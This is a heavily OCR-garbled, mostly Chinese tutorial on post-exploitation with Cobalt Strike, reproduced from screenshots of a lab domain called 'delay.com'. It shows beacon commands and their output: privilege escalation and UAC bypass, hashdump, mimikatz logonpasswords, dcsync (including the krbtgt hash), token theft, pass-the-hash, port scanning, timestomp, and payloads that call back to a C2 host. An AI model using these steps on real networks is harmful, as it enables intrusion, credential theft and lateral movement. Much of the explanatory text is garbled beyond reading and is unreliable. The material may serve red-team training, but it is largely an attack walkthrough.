Fie \Device\NamedPipe"df734azbd2 Key HKLM\SYSTEM\CortrolSet001\Control\NiSotting Wersions
Fie C:\Windows \Forts \StaticCache.dat Key HKLM\SYSTEM\CortrolSet001\Cortro\SESSION MANAGER
Fie C:\Windows \winsis\amd64_microscit voBllcit_icBb 3b3ae 18e3b_6.050727.4340_none_8ci835320af 0bF5. Koy HKLM
Fie G NET 50 rfig cch Key HKCU\Scftware\Cissses
Fie & NET 0.50727CONFIG g cch Key HKLM\SYS TEM\CortrolSet001\CortrolNishLocale\temate Sorts
Fie C:\Windows \assembly\Nativelmages_v2.0.50727_64\ndex247.dat Ker HKLM\SYSTEM\CartrolSet001\Cortrol*His\Locale
Fie C:\Wiindiows \insis\amd64_microscht veB0.on _fogh dbaTe 1823 _8.0,50727.4940_rone_BacB993XaA kA5, Key HKLM\SYSTEM\GortrolSst001\Cortrol\NsLanguags Groups
Fie C:\Whindows \assembly\pubpol35 dat Key HKCU
Fie G I\GAC € )_t rip ey HKCU\Software\Cissses
Fie & I \GAC_64\mscorib\2.0.0.0_t nlp Key HKLM\SOF TWARE\MICROSOF T\Windows\Curert Version'Explore Folder Descrptions'\{1 AC 14E 77-02E7-4ESD-674.
Fie C:\Wiindows Wwinsis\amd64_microsoft vcB.C_icBb 3bSaTe 18e3b_B.050727.4340_one_88cf899320afF5. Section Base NamedObjects\_ComCatalogCache_
HKLW\SOF TWAREWMICROSOFTWWINDOW/S NT\CURRENTVERSION\mage File Execution Options Section \BaseNamedObjects\_ComCatalogCache_
Key HKLANSYSTENControlSet001\Cortrol\Nis'Sorting'\Versions Section \Sessions\\1 \BaseNamedObjects\windows_shell_global_courters
Key HKLM\S YSTENNCantrolSet001 \Cortra\SESSION MANAGER Thread calc exe(3848): 3980
Key HKLM Thread calc exe(3348): 248
Key HKCUNSftware' Classes Thread calc exe(3348): 3163
Key HKLM\S Y5 TN CortrolSet001 \CortrolNis\Locale’ Atemate Sorts Thread eale.exe(3848): 3943
Key HIKLM\S YS TENNCortrolSet001 \CortrolNis\Locale Thread cale. exe{3848): 3752
Key HKLM\S Y8 TEN CortrolSet001\Cortral\Nis\Language Groups Thread calo.exe(384): 3752
Key HKCU Thread alo (3848 1264
Key HKCUSctware' Classes Sessions\1
Key HKLM\SOF TWAREMICRO SOF T\Windows \Curent Version'\Explorer'FolderDescriptions \{1AC 14E77-02E7-4E50-874. Sessions\1
Key
Key
Key
Key

HKLM\SOF TWARE\MICRO SOFT\Fusion\Nativelmages index'v2.0.50727_64
HKLM\SOF TWARE\MICRO SOF T\Fusion' PublisherPolicy\Defautt

Section BaseNemedObjects',_ComCatelogCache_
Section BaseNamedObjects’_ComCatalogCache _
Section Sessions\1\Base NamedObiscts windows_shell_alobal_ourters
Section \BaseNamedObjects\Cor_Public_IPCBlock_3848
Section \BaseNamedObjects\Cor_Private_IPCBlock 3848
Thread calc ex(3843): 3980
Thread calc.exs{3848) 243
Thead calo.ex={3848): 3168
Thread alo exs(3848): 3348
Thread calc exe(3848): 3752
Thread calc ex=(3848) 3752
Thread calc exe(3843): 3652
Thread calc.exe{3843): 3540
Thread calo.ex={3848): 3652
Thread calo.exe(3848); 2756
Thread calo exs(3848): 3128

Sessions\1

Sessions\1

spawnflinjecty S EHEEHEHNELENTINGET, MEEREENERIHTTP,
HTTPSEIDNSISIR, FHEETAEIACS- BIMEBREILIE. MBERRENRRYE
TCPEESMB(EHT, ML S E R AR X R a A,

8.RunuftiFEAI M EERIR HIZEEIFhHE:



1 runu [pid] FridkfE

[WEB] Administrator */2768 (x64)

EFV) RE\EE) FEEMm

[WEB] Administrator */2768 (x64)

= ﬂ winlogon exe 5:35:55 PM 1/7/2019 3600K 5160K 468 winlogon exe
Bl | sxplorer exs 8:16:21 PM 1/7/2019 0.24 25,956 K 46,928 K 1736 explorer exe
=] Mjnotepad Exe 8:27:47 PM 1/7/2019 1.348K 5566 K ‘ “C:\Windows\Sys\WOW64\notepad exe”

5.956 K 11668K 2872 cale

S kcalc exe 6 ] =
E.-3C.10 DR 4 /77040 1 N4 W 1 2on ¥ FOND N Do Cilmm B0 T mmmlab | A=t =
|

E el b U Al e

8.Upload and Download Files

TFZkdownload

1 download [H#sXfFH®]



beacon> download c:\temp\setlog.txt

[*] Tasked beacon to download c:\temp\setlog.txt
[+] host called home, sent: 26 bytes

started download of c:\temp\setlog.txt (1194 bytes)
[*] download of setlog.txt is complete

[WEB] Administrator */2768 [(x64)

beacon>

SR N REIISIREGRMETMRER, ERRENTER, Beaconm NH{ESIEEER
SRENE N SUGRIEIER, IZRAITA/NR TSR SREdEREE. HTTPAIHTTPSE
1BLAS12KBRYR AU EEE.

#£%ZE-> Cobalt StrikeFAI T, ABEEEZHEANZIHRIALEE FEAISE. ItEETT
RPXETRTREITE. TEHONEFRERNIRSS L. EEXEHERS, BEL
RREEREA], AEI&ESync Files, #AfS, Cobalt StrikefEGiERAISSE T HEIR 7 LI
RS,

|wua|| DUIRS TLEH INTD fRE A5

DE O EH=¢ 682U HewBEP/a BG

exter=al internal = listener [I'~<4 computer note

M 1 9 ccoc 10.10.10.8 r

= - 1010108

= 10.10.10.9 1 & M=

24 10.10.9 1 s W

¥ 10.10.10.9 r A trator *

B 1010.10.9 1 s 1+

R 3 10.10.10.9 ' AC: iator * \
Eiflf iz 1010109 A .
o) y 10.10.10.9 Ad tare )

R 4n4n4na |£] Sync downloads to? X
HEx | IO FERX ‘ Beacon 10.10.10.9@2768 X ‘ B T — 7 oo @

host name -

setlog.bxt
1C setlog.ixt

SCHE(N): !c:\users\ {123223L1} \Documents }
A [t -

Sync Files. ZeEh

&3 {Fupload

upload [/path/to/file]



HEXEES, BIfSEEEHENEE, LMFEESE—4ehiEMmSERE,
B LAfERtimestompan S TIEERE.
timestompas S2E— N ERIEXD, “IBarfl el a5 B — N SUEH1TITE,

1 timestomp [fileA] [fileB]

9. XHFZRFAWS

ERRIsarLHIHZRIBRPAINM. (ERmkdirglZBR. rmiSMIBRIUGEIEE, cpis
NHEHRIEIMIE. mviBaIss,

10. R[4

1 fE£H: rportfwd [4BEsm 0] [#AEN] [Ferdmd]

imAELE [48EimO])
FEBREN LY EigEiin. 2EHER, CobaltStrikelGiEZRE ANEN/IROFF
sEFBeaconfT A MER Z BPLE(S.

{EFrportfwd stop [bind port]ZFR Mm% K.

M. EREFEE
{EFspunnelfF ST TEIGANIRTAERE=FTE, FHHEolERARO.

1 &% Aspunnel [x86Hx64] [controller host] [controller port] [/path/to/agent.

ZaSHEREVHE SMNE T X shellcode (BEEKEE—NNGEEEHIEIEE
tH) . 1Zspunnel_localip<S 22— Ispunnel, BRT BFEMNREcsE FinmiEhlesiEz.



&Bid Cobalt StrikeZ=PinSHHE\IRSS 28 < BRNEREKB(Sspunnel_localiiBfE.

12 45PUEH
¥ BimiEEH
i\ elevatedp < LA% H7ECobalt Strike AN ARiRIR.

[+] host called home, sent: 2656 bytes

beacon> elevate

Beacon Local Exploits

Exploit Description

sVCo-exe Get SYSTEM via an executable run as a service

uac-token-duplication Bypass UAC with Token Duplication

[WEB] SYSTEM */820

beacon>

izfTelevate [exploit] [listener]Z2il 4% & A .

Yeacon> elevate svo-exe msfl

¥ “Tasked beacon £o run windows/beacon http/reverse http (192.168.50.146:888) via Service Control Manager (\\127.0.0.1\ADMIN§\6£al21d.exe

[WEB] SYSTEM */820

JRT 2 Ja 2 S T R TR R

10.10.10.9 msf1 Administrator WEB Explorer.EXE 3056 x64

|

Beacon 10.10.10 9@3056 X

Beacon Local Exploits

Exploit Description

TEM via an executable run as a service

UAC with Token Duplication

1
ndows /beacon_http/reverse_http ) via Service Control Manager (\\127.0.0.1\ADMIN§\B£3d218.exe)
291370 bytes

e 8£3d218 on .

B sERfrunasadminip S A LAY HfECobalt StrikePAYRwIE.



beacon> runasadmin

Beacon Command Elevators

Exploit Description

uac-cmstplua Bypass UAC with CMSTPLUA COM interface

uac-token-duplication Bypass UAC with Token Duplication

[WEB] SYSTEM */820

1={Trunasadmin [exploit] [command + args]=ixbypassUaciZt¥,

pEAaCOn> runasadmin uac-cmstplua
[*] Tasked beacon to run 1s msfl in a high integrity context (uwac-cmstplua)
[+] host called home, sent: 3019 bytes

EFREAEIHET
{5Frunas [DOMAIN \ user] [password] [command]LAEftt RIS HIEI TS,
runasip S E IR EEH A,

FE: ALAERpoweshell ITfEHIT L

beacon» runas Administrator lgaz@WsSX whoami

[*] Tasked beacon to execute: whoami as .\Administrator

[+] host called home, sent: 52 bytes

Fr w1 - 1 . L] " " A Few s

{EFspawnas [DOMAIN \ user] [password] [listener)/EFAEEIEIS— 1RSI0 ER
2E. WHSrT FERNBIBENREM B ENHEFR.

A LAEE | [beacon]-> Access-> Spawn AstEiE{TIt AR,




1010109 mst SYS1EM ™

Administrator *
SYSTEM *
Administrator *

10.10.10.9

10.10.10.9 [
10.10.10.9

i A beacon
¥fifHash
Slon "

i ' EEER
WE=E HHES b

=15 * | One-liner
Run Mimikatz
Spawn As
2660 X | EBEEX |
Administrator * WEB Explore
B Spawn As — O >
user 1 realm note
ms- X DE1AY
Ac wr WEB
Administrator 10.10.10.10
mssq

DE1AY.COM
f 03 48 4D f4 1

d8 46 e3 67 87 24 61 d5 Oe
20 ed £ 2% be T4 9a cO

fa 3a 36 o3 f 03 48 4D f4 1
d8 46 e3 62 mfTEE: [ 1 B7 24 61 d5 Oe
20 ed le f7 a9 be T4 9a cO
3d 17 7f ae

erse http (192.168.50.146:888) as \Administrator

[WEB] Administrator */2660

{EFgetsystemt&EUSYSTEMBKFRISCHE. XA BRABIRT LA B A TAFIIRE,
XM EREERAPTERITH.



Tasked beacon to run: whoami
[+] host called home, sent: 37 bytes
[+] received output

webhadministrator

beacon> getsystem

[*] Tasked beacon to get SYSTEM

[+] hos=t called home, sent: 2387 bytes
[+] Impersonated NT AUTHORITY\SYSTEM

beacon> =shell whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 37 bytes
[+] receiwved ocutput

nt authorityl\system

beacon> sleep 0

[*] Tasked beacon to become interactive

BRI SEESLRMR
SREXSY STEMIYS—M 75 5 R BIEEI TAE R EHRIIRSS.

ELEVATE SVC-EXE [H&Mr]

ERMREITERRAREAITHIITG, EIRIRSLIEITE, AEXEXIEYEH, FF
B EEARSS AR AT

beacon> elevate svc-exe msfl

indows /beacon http/reverse http 188) wia Service Control Manager (\\127.0.0.1\ADMIN$\b342%04.exe)

ome, sent: 287557 bytes

put
e b342904 on .

[WEB] Administrator */2948
o e e N R e e A e

13.UACEEH

MicrosoftfEWindows Vistadh5 | N\ T FBFPIz®] (UAC) HEWindows 79 iH{TT
BuH. UACHITERIE SUNIXFEIsudotBitl,. FAFSXRELEESFNTIE. HAFPEE
HATIIURERT, RAE0HEIEEERAENR.

Cobalt Strikefffrr ¥ FIIRUACERRINE.

elevate uac-token-duplication [listener]

runasadmin uac-token-duplication [command] runasadmin uac-cmstplua [commar



elevate uac-token-duplication [listener]

= FHEEFEINENREMNER., IEER
UACii D iR SRR HUHAE E R MR TR AZ ST BRI S RS aER
iz, WREFEER LA MR o ERIRTTTHRINZ MR, FreighIIoee
X L2 BRFIRINA] . WRREBALTHEESIRE, NIIREERISR]
RESIETEZLUE—RRB0IEIT 7 I=FHIHIE.

WIS HIERTF 2018511 B EH Z8IAIWindows 780Windows 10,

BEREYRIAFPEETEAdmInistratorsZB4, 15{EHshell whoami / groups,

beacon> shell whoami /groups
[*] Tasked beacon to run: whoami /groups
[+] host called home, sent: 45 bytes

[+] received output

#H s B

Everyone B4 s-1-1-0 PEME, BRATERA, BRMA
BUILTIN\Administrators Rl s-1-5-32-544 PEREE, BATEHA, BHMAE, HMEE

BUILTIN\Users %%  s-1-5-32-545 » . BRATEIA, B
NT AUTHORITY\INTERACTIVE 2404 s-1-5-4 s 94, BHRETERA, BHMYE
iTHlaER o5 s-1-2-1 P . BRATEHA, BRAMAE
NT AUTHORITY\Authenticated Users 244 s-1-5-11 P . BRATEHA, BRAMAE
NT AUTHORITY\This Organization 2404 s-1-5-15 P . BRTEA, BAMA
LOCAL 2514 s-1-2-0 y . BRTIHA, BRAMA
NT AUTHORITY\NTLM Authentication DA s-1-5-64-10 PEREE, BRATEHA, BHEMSE
Mandatory Label\High Mandatory Level IR#¥  s-1-16-12288 JHEREE, BRATEHA, BHEMA

[WEB] Administrator */3056 (x64)

beacon> shell whoami

[*] Tasked beacon to run: whoami
beacon> sleep 0

[*] Tasked beacon to become interactive
[+] host called home, sent: 53 bytes
[+] received output

web\administrator

[WEB] Administrator */3056 (x64)

{5 Felevate uac-token-duplication msf1




beacon> elevate uac-token-duplicatios
[*] Tasked beacon to spawn windows/beacon http/reverse http [ | [ [l in a high integrity process (token duplication)
[+] host called home, sent: 213351

RE—NRISTE

YNERAIEAdIministratorsZE

process (tcken duplication)

CLTEL ]
© EEnUTERRIGARTER
Yindows {FSEIESR

L ERIRYETE: Microsoft Windows
ViR I EL FRRERImEhEE

EEHE, FREERER. MERE “E" -

Birtl288HUAC, TTEFIB

runasadmin uac-token-duplication [command] /runasadmin uac-cmstplua

[command]

5EiAEER, (BRUUFBRIIASIRE— ISR AR RIS PIE T3]
BRI,

F Rt RMRIE—+F

WNERATEAdmiInistratorsZA

[*] Tasked beacon to run whoami in a high integrity context (uac-tcken-duplication)
[+] host called home, sent: 6812 bytes

[+] received ocutput

Failed. Tried 0 process tokens and taskmgr.exe

[WEB] delaw/2544



? APk FEE
) EEAR TR AL TR

17 BEER: Windows TSRS
=N ERUERTETE: Microsoft Windows
WHE: B, FRE A EEheE

EEE, HRVEERER. BEEHYE" -

14.getprivs

B RFEE— M IKPEIERE, BT EERFPIRFERFREENHN. SBFER
B, RESEM—MNESH, ETPE3AFSNAYIR, BERTRFERFFRES
AN, B, FXERTAEITE. ERFEARRRT B EAIIEBARRERY
5N,

SHEPEIHTIIRER, RERERFPIER<SHIREXRRESRE VRN
N, WRE, WEERESERATHEN. WRAFRETIXENN, NRFEASHITIZE
(=

ECSHRILAERAgetprivs KiELID SR SIFEEEINHNE.



beacon> getprivs

[*] Tasked beacon to enable privileges

beacon> sleep 0

[*] Tasked beacon to become interactive

[+] host called home, sent: 771 bytes

[+] received ocutput

seDebugPrivilege

SeIncreasefuotaPrivilege

SeSecurityPrivilege
eTakeOwnershipPrivilege

LoadDriverPrivilege

SeSystemProfilePrivilege

SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
EeInctcanBaan11ol1tyPL1v11cgc
CreatePagefilePrivilege
eBackupPrivilege
seRestorePrivilege

hutdcwnP11v1lcgﬂ

KT PrivilegesfIINTTTi%, ANASHIR, BXRBIRLIERRIIS—RXE.

15.%i7SH

FERRAIBAZE—R, TLIERABMIINIKS, =53
FRSEESENATFHAEENEE, SHEWEER, BiITLERERESLIE
[[#55) (FAhashf&ik, smb/rdplRiEFSFFIE) K KBAIAIER

windowsIBEFRERM AN AFPREEHTINE, EEEF, BRERINZEREGIE
B Entds.dit9,

windows%iB28 5y, :

LM hash (DESHI%) , NTLM hash (MD4) EAAFVEE LRI IE

windows hash 25443

username: RID: 1lm-hash: nt-hash

iT=



Mwindows vita FJwindows server 2008 FF44 windowsFEERIAZEBLM-hashY (BES: X
BREZA ANEFA) MANTLM hashi\ilE T

LM-hashBBXZRERE 141 (ZEMAD)

WE—A: tRZALM-hashT, BBAEA1RAEIER|aad3b435b51404eeaad51404ee,
LR ATBERLM-hash ATE,

WNR BFRXHF) T WdigestIhge/ &2 7 #M T kb2871997UiE B ToiZM NEFdumpBA X 2565
A9, Windows server 2012LA_EERAKFIWdigestTHEE,

FH: SR—ESEsystemiR
[RIR: AibAFPE, BUEBNEEREEREFTE
SAM (c:\windows\system32\config) {4, Isass.exeiHFERTLIMWindowsyZe 5

B (RHFOERKES) |, BBAFAITLAERA T EEEF EFNEERBMNARTFFRY
Isass.exeiHFE/SAMI P S H

HashdumpS:iHhash

R I b T I |V e &+ VT T VWLl

1010109 iﬁbeam" : e WEB
HiT o $fEHash
Bfr P84T
HEE ' BEERE
E = H{ES
=1 » | One-liner
Run Mimikatz
Spawn As

EEbeaconREGHE, IEIEMIT>FfEHash, BfEbeacon i Ahashdump
SNEbeaconEERH 7 BB &F1ZBhashE



beacon> hashdump
[*] Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

[+] received password hashes

Administrator:500:aad3b435bhl404eeaad3bd3bbbldldes:161cff0t

delay:1000:aad3b435bb1404ecaad3bi3bbbl4ldee:161cff0844TT7feby d HE
Guest:501:aad3b435b5l404ecaadibd3bbbl404ee:31dbefeldlhacd31bT73ch9dTelclB89cl:

LIARRSHR—METR6]

admin:1022:aad3b435b51404eeaad3b435b51404ee:f4bb18c1165a8924819e853b269a8995

f4bb18c1165a89248f9e853b269a8995gadminFAFHINTLM Hash
HAIATLAZCcmdSFFARZNTLMES,, WNE], WAFEBAS/9Abc123

f4bb13c1165a39248MeB03b269a8055
NTLM

EnEEe:
Abc123

MimikatzSHEHE

FEEHIIT->Run Mimikatz, B{fEbeacond#f¥TlogonpasswordsfipSYSiFNETRRIR
RS, ZA8edumppili, SNERAPRIRIR, BTN, AR HEEEHRITRRLIE,

SYSTEM *
SYSTEM *

$%1"FEHa
S "

T | weTE
WESE | siES

ﬁ-% b -
= Cne-liner
Run Mimikatz h—___
Spawn As
mssql 1gaz@WsX DE1AY mimikatz 1010109 11/06 00:33:07
Administrator 1gaz@WsX WEB mimikatz 10.10.10.9 11/20 00:23:32
Administrator 1gaz@WsX 10.10.10.10 mimikatz. 1010109 11/08 20:09:28
mssql 1gaz@WsX mimikatz 10.10.10.9 11/08 20:13:09

mssql 1qaz@WsX DE1AY.COM mimikatz 1010109 11/20 00:23:32



A LATEbeaconHi N A5 <

beacon> logonpasswords

[*] Tasked beacon to run mimikatz's sekurlsa: :logonpasswords command

[+] host called home, sent: 438866 bytes

[+] received output

Authentication Id : 0 ; 541214 (00000000:0008421e)

Session : Interactive from 1
Administrator

Domain : WEB

Logon Server : WEB
2020/11/19 20:11:29
5-1-5-21-3767205380-3469466069-2137393323-500

[00000003] Primary

* OUsername : Administrator

* Domain : WEB

* LM : £f6Tceb55acB3i1223dc18TbB085fel1d9df

* NTLM : 161lcff084477feb9%6abdb818T74498a24

* SHal : d669f3beocfldbfTT7d6466Tectbaae3d2d2d100394
tspkg

* OUsername : Administrator

* Domain : WEB

[WEB] SYSTEM */780

beacon>

{£Fdcsync [DOMAIN.FQDN] M= HIRR IR A K RIZIEIE 7.
HHRARFERWIndows APRTEIZHIEEZ BRISER. EREHEERAEEXRR.
CSeh{#AmimikatzSRHATIIA.

{EFASM: administratorF3 PR

BN : Eadministratort PRA{EA

beacon> desync delay.com

[*] Tasked beacon to run mimikatz's @lsadump::desyne /domain:delay.com fall fesv command
[+] host called home, sent: 438858 bytes

[+] received output

[DC] 'delay.com' will be the domain

[DC] 'DC.delay.com' will be the DC server

[DC] Exporting domain 'delay.com'

502 krbtgt 82dfecT1bT72allef37d663047bc2088fb 514

1002 Dcs a9f8703678albalb4393£f509a92a4%b 532480

1105 PCS 86c3061972fcbl5fadf545f1ddcB6416 4096

2103 mssql 161cff084477fe596a5dbB1874498a24 66048

500 Administrator 161cff084477£feb96abdb81874498a24 512
1603 WEBS 8a7daf%22abl?2911e6661lelbl3bfZeedd 4096

1001 delay 161cff084477fe596a5db81874498a24 66048

fEsystemi PR



nt authority\system

beacon> desync delay.com

[*] Tasked beacon to run mimikatz's (lsadump::desync /domain:delay.com /all /esv command
[+] host called home, sent: 438858 bytes

[+] received output

[DC] 'delay.com' will be the domain

[DC] 'DC.delay.com' will be the DC server

[DC] Exporting domain 'delay.com'

ERROR kuhl m lsadump desync ; GetNCChanges: 0x00002105 (8453)

fMawnl everes /780

URBSFERIZEISE, BfFH desync [DOMAIN.FQDN] [DOMAIN \ user],
fan: FfIEmssqly

beacon> decsync delay.com mssgl

[*] Tasked beacon to run mimikatz's @lsadump::dcsync /domain:delay.com /user:mssgl command
[+] host called home, sent: 438858 bytes

[+] received output

[DC] 'delay.com' will be the domain

[DC] 'DC.delay.com' will be the DC server

[DC] 'mssqgl' will be the user account
Object RDN : MSSOL
*h SAM ACCOUNT *+

SAM Username : mssgl

User Principal Name : mssqgll@delay.com

Account Type : 30000000 ( USER OBJECT

User Account Control : 00010200 ( NORMAL ACCOUNT DONT EXPIRE PASSWD )
Account expiration

Password last change : 2019/10/20 15:41:47

Object Security ID : 5-1-5-21-2756371121-2868759905-3853650604-2103

[WEB] Administrator */724

beacon>

16.ix O34
csEBERENIROIEERF.

ffifportscan [B#Ar] [¥nH] [REJ51E])Eshm D H#REPEL.
ALIEE Bt eENESoMRYE. imOEaitt, Fla0, iwOi3172.16.48.0/24 1-
1024,808045+3#Him 112 1024F08080_EAYFEH1172.16.48.05172.16.48.255,

B=""BiraIE,

arp /7 %A FARPIE R A B ML AE IG5 -



iemp K RIAICMPIEI IR, DS & H AR B A7 4 .

nonei& i iffportscan T BAE T EHLI L TIEENIRES .

G Ebeacon 2 IBVE(T. HETRENERN, SHEEIIERIIEE.
Cobalt Strike{g4HBIHER, FHERATNENEHEIT.

IR FENARGEEAENGE (RE)  SWUESILESENARNFE]. &
AZBINIZ IR, FJLAER B T35,

54

internal = listener user

1234 Administrator

10.10.10.9

1010109 |HADeacon oo SYSTEM *
1010109 | T SYSTEM *
ket g
FRE ' mFEVNG
'24 X | Beacon| Rt &iE iR

fodddheadle22d -%ﬁ Net View

3846£0c4d666ETa N
I YR

ecTecdfT6To98e0

feddd5cadle22dl RS IR

ba6edd854£996a5 REHE

ecTecdfT6To9%8ec

B Scan — O

address netmask
10.10.10.0 255.295.255.0
1 255.295.255.0

Ports: [1—1024.3389.5000—6000

Max Sockets: |1024

Discovery: lia p




beacon> portscan 10.10.10.0-10.10.10.255 1-1024,3389,5000-6000 arp 1024

[*] Tasked beacon to scan ports 1-1024,3389,5000-6000 on 10.10.10.0-10.10.10.255
[+] hest called home, sent: 74813 bytes

[+] received output

(ARP) Target '10.10.10.9' is alive. 00-0C-29-E1-CE-21

(ARP) Target '10.10.10.8' is alive. 00-0C-29-44-43-4A

(ARP) Target '10.10.10.10' is aliwve. 00-0C-29-6

[+] received output
10.10.10.10:5985

[+] received output
10.10.10.10:3389

[+] received output
10.10.10.10:636

[+] received output

[WEB] Administrator */724

17 . ILEFNENAHE
(SR EIEHIR M T EWindows; s B MBS EFFIA BN TE,
netip<. FAIRILAERhelp net (i $EE

beacon> help net

Use: net [command] [arguments]

Beacons's host and network enumeration tool. The built-in net commands are:
Command Description
computers lists hosts in a domain (groups)
domain display domain for this host

delist lists domain controllers

domain controllers lists DCs in a domain (groups)

domain trusts lists domain trusts

group lists groups and users in groups

localgroup lists local groups and users in local groups
logons lists users logged onto a host

sessions lists sessions on a host

share lists shares on a host

user lists users and user information

time show time for a host

view lists hosts in a domain (browser service)

Use "help net [command]" for more information.

[WEB] Administrator */724
L]

ERRENMNSEKRETE, AERnetis S EE:

WBi%: net [command 74 ] [arguments/Z&#(]



Command

Description

computers lists hosts in a domain (groups)
domain display domain for this host
dclist lists domain controllers

domain_controllers

domain_trusts

lists DCs in a domain (groups)
lists domain trusts
groups and users in groups

local groups and users in local groups

group lists

localgroup lists

logons lists users logged onto a host
sessions lists sessions on a host

share lists shares on a host

user lists users and user information
time show time for a host

view

lists hosts in a domain (browser service)

{£F3net dclistap S E# BFRINAZIRTERIEZ SIS,

address = name note
B 10.10.10.8 PC
" 10.10.10.9 WEB

‘a 10.10.10.10 DC

= -

BEx | Beacon 10.10.10.9@724 X \—

10.10.10.8:139
10.10.10.8:135

[+] received output
10.10.10.8:445
10.10.10.9:445 (platform:
10.10.10.10:445 (platform: 500 version:

Scanner module is complete

500 wversion: e: WEB domain:

e: DC domain:

beacon> net delist

[*] Tasked beacon to run net declist

[+] host ealled home, sent: 87610 bytes
[+] received output

DCs:

[+] received output

Server Name IP Address

6118

[-] Error:

[WEB] Administrator */724

Platform Version

Comment

Type




{EEfnet viewap STEEIRIIANRIS FEIL B TR,

to run net view on dc
e, sent: 87608 bytes

[-] Error: 6118

XA an S S ETE BiREE

ODE 0= BErfU GewBERD e B

Platform Version Type

address ~ name
B 1010108 PC
7 10.10.10.9 WEB
= 10.10.10.10

note

Zen B T2 _ EEE T EK P ERE BiR.
csHInettE R B STEWindows MZEHIASAPIZ FHERRS, 1XEipS 2WindowsHiFEZ

R Enetap SHIERE.

XEWA—LIRGAITIRE, SH(IWAERERS — MRS LA ETERAY, X

SHEEREIHAEIEFEE A,

fhuan,

ffifinet localgroup \\ EAHl FIH 5 —MRGE ERIAH.

ffifinet localgroup \\ FAHL A% FTUSIHFH—1 RS AR .



beacon> net localgroup \\DC WinRMRemcteWMIUsers

[*] Tasked beacon to run net localgroup WinRMRemoteWMIUsers  on DC
[+] host called home, sent: 87614 bytes

[+] received ocutput

Members of WinRMRemoteWMIUsers  on \\DC:

[WEB] Administrator */724

18.5(FXF

HAPERWindows AT, BEMAAISH. ZSHEEEBEXARKESIRINES.
LRSI REFEREFIALERIE—Active Directorylsy FHIS— 1N RARFTBRHMER. Fii)
B AN EtEH RPN HFHEE N BT RAIRYMER. PUTHHRCERT, ABATAIRATLA
S5izRPEE ERNEBRFEHTRRE

{EMsteal_tokena] LRI EHIZHAISHE,

iByk: steal token [pid]

FMBEFE:
psHtHZHRIHIESIZR

beacon> ps

Tasked beacon to list processes
[+] host called home, sent: 12 bytes

[*] Process List
PID PPID Name Arch Session

[System Process]
System
SmSSs.exe x6 NT AUTHORITY\SYSTEM
svchost.exe x6 NT AUTHORITY\NETWORK SERVICE
osrss.
wininit.exe x6 NT AUTHORITY\SYSTEM
servic .exe x6 NT AUTHORITY\SYSTEM
lsass.exe x6 NT AUTHORITY\SYSTEM

[WEB] Administrator */724

boscon|
HAREEFApid 1712 BYIE 1XZ236015I551E

SMSvcHost.exe x6 NT AUTHORITY\LOCAL SERVICE

2060 360tray.exe WEB\Administrator
500 fdlauncher.exe x6 NT AUTHORITY'\LOCAL SERVICE




beacon> steal token 1712
[*] Tasked beacon to steal token from PID 1712
[+] host called home, sent: 12 bytes

[+] Impersonated WEB\Administrator

[WEB] Administrator */724

NRFAVRIERFHIENR,; EFmake_tokenEREIRIXEIEIRATSHE, ZSBRHATH
AIHEEIAR, HRERMNRERERERS. EREREIRRAIE.

iEy%k:  make_token [DOMAIN\user] [password]

credentlals you provide and a2 no e ACT1ONS .

beacon> make token Administrator lgaz@WSX

[*] Tasked beacon to create a token for .\Administrator
[+] host called home, sent: 42 bytes

[+] Impersonated NT AUTHORITY\SYSTEM

[WEB] SYSTEM */2708 (x64)

beacon>

{EFmimikatz5Beacon#{TIRHIRE. < pthiGRIEFERILIRSELME B EAIIE
iﬁo

iEy%: pth [DOMAIN\user] [NTLM hash]

NT AUTHORITY\SYSTEM

put

\Windows\system32\cmd.exe /c echo c934a88aled > \\.\pipe\ccad6c

1cff084477fe596a5db81874498a24

[WEB] SYSTEM */2708 (x64

getuid iy & KT ENIE 2410 )4 fd
i rev2selfik J& N JFE U5 4 fH,



KerberosZEjF
R (EAEmimikatz 2.046 NS E,
(FR%BKerberosENEHFE N LBISIE.

157k: kerberos_ticket use [/ path / to / ticket]

X {EBeaconm] LAEFIZEIEFA R SITER FH TR .

|2 Select ticket to use

() | Z Documents

[m¢ beacon.exe
setlog.txt

» revert token

d home, sent: B8 bytes

) get userid

wthany: |
Tt oes TR (Rt

ticket to this session

{sEfkerberos_ticket_purgeiBfrSEAIIBISIE XAV A kerberos

19.H{tlar <

EnrEEM—L IS ERENGS.
TERRIBREs BRI IBRIESS PR, MRMABIR, BERE.
A\ exitEskBeaconiBH,

{5 FAKill [pid]&R LEHFE,

{EFtimestompA] LUS— NI MER, “5ia) 0 G2 BYRl S 5 — "SI ER, i
)"0 B B a4 T ILEC,

by: ZFAK

MIEARSBEERERE



